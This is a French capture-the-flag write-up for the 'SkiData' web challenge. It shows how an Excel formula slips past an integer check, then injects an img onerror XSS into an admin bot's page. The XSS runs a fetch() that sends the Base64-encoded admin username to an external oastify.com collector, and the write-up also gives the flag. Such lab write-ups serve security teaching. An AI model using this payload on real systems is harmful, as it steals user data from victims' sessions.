Énoncé #
The owner of the SkiData Platform has challenged you to find out his name! He told you, he has really good opsec, can you prove him wrong?
Author: h4ckd0tm3
Aperçu #
SkiData permet de créer un compte, puis d’importer les résultats d’une course au format Excel. La route /my_races accepte également un titre et une description, et liste les courses déjà envoyées. Une course peut ensuite être consultée ou signalée à l’administrateur.
Les routes accessibles après connexion sont:
/my_races/race/<int:race_id>/race/<int:race_id>/report/logout
Le flag est le nom d’utilisateur de l’administrateur. Celui-ci est utilisé par le bot lorsqu’il se connecte pour examiner une course signalée.
Afficher l'arborescence
.
├── adj.txt
├── app.py
├── bot.py
├── deploy.sh
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.bot
├── flag.txt
├── instance
│ └── ski_race.db
├── noun.txt
├── requirements.txt
├── sha256sum
├── ski_race_example.xlsx
├── static
│ ├── logo.png
│ ├── rank-1.png
│ ├── rank-2.png
│ ├── rank-3.png
│ └── snow.js
└── templates
├── index.html
├── layout.html
├── login.html
├── my_races.html
├── nav.html
├── race_detail.html
└── register.html
4 directories, 25 filesLa configuration confirme que le nom d’utilisateur contient le flag:
environment:
- ADMIN_USER=gctf{FAKE_FAKE_FAKE}
- ADMIN_PASSWORD=.FakePW69!
- WEB_URL=http://skidata-web:5000
- REDIS_HOST=skidata-redisLorsqu’une course est signalée, l’application place une visite dans la file:
@app.route('/race/<int:race_id>/report')
@login_required
def race_report(race_id):
user = current_user
race = Race.query.get_or_404(race_id)
if race.user_id == user.id or user.is_admin:
q.enqueue(visit, url_for('race_detail', race_id=race_id),
os.environ.get("ADMIN_USER", "FAKEUSER"),
os.environ.get("ADMIN_PASSWORD", "FAKEPW"),
os.environ.get("WEB_URL", "localhost"))
flash('The Admin has been notified!')
return redirect(url_for("my_races"))
flash('Not your race!')
return redirect(url_for("my_races"))Le bot se connecte avec ces identifiants, ouvre la course pendant quatre secondes, puis ferme son navigateur:
import os
import sys
from time import sleep
from playwright.sync_api import sync_playwright
def visit(race, user, password, url):
print("Checking Race", race, file=sys.stderr)
with sync_playwright() as p:
browser = p.chromium.launch(
headless=True,
args=[
"--disable-dev-shm-usage",
"--disable-extensions",
"--disable-gpu",
"--no-sandbox",
"--headless"
])
context = browser.new_context()
page = context.new_page()
page.goto(f"{url}/login")
page.get_by_label("Username").fill(user)
page.get_by_label("Password").fill(password)
page.get_by_role("button", name="Login").click()
page.goto(f"{url}{race}")
sleep(4)
context.close()
browser.close()Résolution #
Analyse du rendu #
Le fichier ski_race_example.xlsx montre le format attendu:
| Name | Time | Rank | Country |
|---|---|---|---|
| ProjectSekai | 6:4:71 | 1 | INT |
| organizers | 5:9:73 | 2 | CHE |
| r3kapig | 5:4:72 | 3 | CHN |
| TUDelftCTFTeam | 4:9:74 | 4 | NLD |
| thehackerscrew | 4:9:74 | 5 | ATA |
| CyKOR | 4:9:57 | 6 | KOR |
| KITCTF | 4:6:40 | 7 | DEU |
| RedHazzarTeam | 4:5:38 | 8 | RUS |
| noreply | 4:5:32 | 9 | DZA |
| LiteChicken | 3:7:93 | 10 | RUS |
Constat. Après l’import, /race/<int:race_id> affiche chaque cellule du tableur. Les champs ordinaires sont échappés par Jinja, mais les trois premières valeurs de rank suivent un chemin différent.
Afficher le code source
{% extends "layout.html" %}
{% block content %}
<div class="container mt-5">
<h2>{{ race.race_name }}</h2>
<!-- Display the race comment if it exists -->
{% if race.comment %}
<p class="text-muted"><em>{{ race.comment }}</em></p>
{% endif %}
<!-- Race Results Table -->
<div class="mt-4">
<h4>Race Results</h4>
<table class="table table-bordered table-striped mt-3">
<thead>
<tr>
<th>Name</th><th>Time</th><th>Rank</th><th>Country</th>
</tr>
</thead>
<tbody>
{% for result in race.results %}
<tr>
<td>{{ result.name }}</td><td>{{ result.time }}</td>
{% if loop.index <= 3 %}
<td><img {{ style(result.rank)|xmlattr }} alt="rank-img"/></td>
{% else %}
<td>{{ result.rank }}</td>
{% endif %}
<td>{{ result.country }}</td>
</tr>
{% else %}
<tr>
<td colspan="4" class="text-center">No race results available</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
<a href="{{ url_for('my_races') }}" class="btn btn-secondary mt-3">Back to My Races</a>
<a href="{{ url_for('race_report', race_id=race.id)}}" class="btn btn-primary mt-3">Report to Admin</a>
</div>
{% endblock %}Faiblesse. Pour ces trois lignes, rank est interpolé dans les clés du dictionnaire passé à xmlattr, alors que ces noms d’attributs devraient être entièrement maîtrisés par l’application:
def style(rank):
return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}
app.jinja_env.globals.update(style=style)Une valeur spécialement construite peut donc altérer les attributs de la balise <img>. Il faut toutefois la placer dans l’une des trois premières lignes, puisque les rangs suivants sont rendus comme du texte.
Transition. Une injection directe échoue: à l’import, l’application exige que la cellule C évaluée soit un entier.
Contournement de la validation Excel #
Le traitement d’une ligne évalue deux fois la cellule du rang:
excel = ExcelCompiler(filepath)
race_results = []
for row in range(2, 12):
try:
# [...]
if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
flash(f"Sheet1!C{row}, Rank must be an integer")
return redirect(request.url)
excel.evaluate(f'Sheet1!E{row}')
excel.set_value(f'Sheet1!E{row}', "Imported")
name = excel.evaluate(f'Sheet1!A{row}')
time = excel.evaluate(f'Sheet1!B{row}')
rank = excel.evaluate(f'Sheet1!C{row}')
country = excel.evaluate(f'Sheet1!D{row}')
race_results.append({
'name': name,
'time': time,
'rank': rank,
'country': country
})
except Exception as e:
flash(f"Error processing row {row}: {str(e)}")
breakConstat. Entre ces deux évaluations, l’application écrit Imported dans la cellule E de la même ligne.
Faiblesse. Le type contrôlé n’est pas nécessairement celui qui sera ensuite stocké. Une formule conditionnelle dans C2 peut renvoyer 1 pendant le contrôle, puis une chaîne après la modification de E2: c’est un décalage entre la vérification et l’utilisation.
Action. On prépare le fichier dans Excel — la version en ligne de OneDrive convient également — et on place cette formule dans C2:
=IF(Sheet1!E2="Imported", "xss", 1)
La fonction IF() choisit la valeur selon le contenu de E2.
Résultat. La première évaluation renvoie l’entier 1; après l’écriture de Imported, la seconde renvoie xss. Le contrôle de type est donc passé, mais la base reçoit une chaîne contrôlée.
XSS et exploitation #
Constat. Une valeur de rang invalide produit aussi un chemin d’image inexistant, ce qui déclenche l’événement error de la balise <img>.
Action. On remplace la démonstration xss par une valeur qui injecte un gestionnaire onerror. Le JavaScript lit le texte de span.navbar-text, l’encode en Base64 et l’envoie vers le serveur de collecte:
=IF(Sheet1!E2="Imported", "x"&CHAR(34)&"/onerror=fetch('https://2wzdg74vnozmon6zh1ip7rptuk0bo1cq.oastify.com/?flag='.concat(btoa(document.querySelector('span.navbar-text').textContent)))", 1)Ici, CHAR(34) produit le guillemet double nécessaire à la sortie de l’attribut sans l’écrire directement dans la chaîne Excel.
On importe le classeur, ouvre la course pour vérifier son rendu, puis utilise Report to Admin. Le bot s’authentifie avec ADMIN_USER avant d’afficher exactement cette page.
Résultat. Dans le navigateur du bot, l’échec de chargement de l’image déclenche la requête fetch. La valeur Base64 reçue sur le serveur de collecte se décode en nom d’utilisateur de l’administrateur, donc en flag.
Le flag est gctf{ex3c3lsi0r_l4zy_m4st3r}.
Conclusion #
La faille combine deux frontières de confiance mal définies: une valeur Excel change entre son contrôle et son stockage, puis cette valeur devient un nom d’attribut HTML. Signaler la course suffit ensuite à exécuter la XSS dans la session de l’administrateur.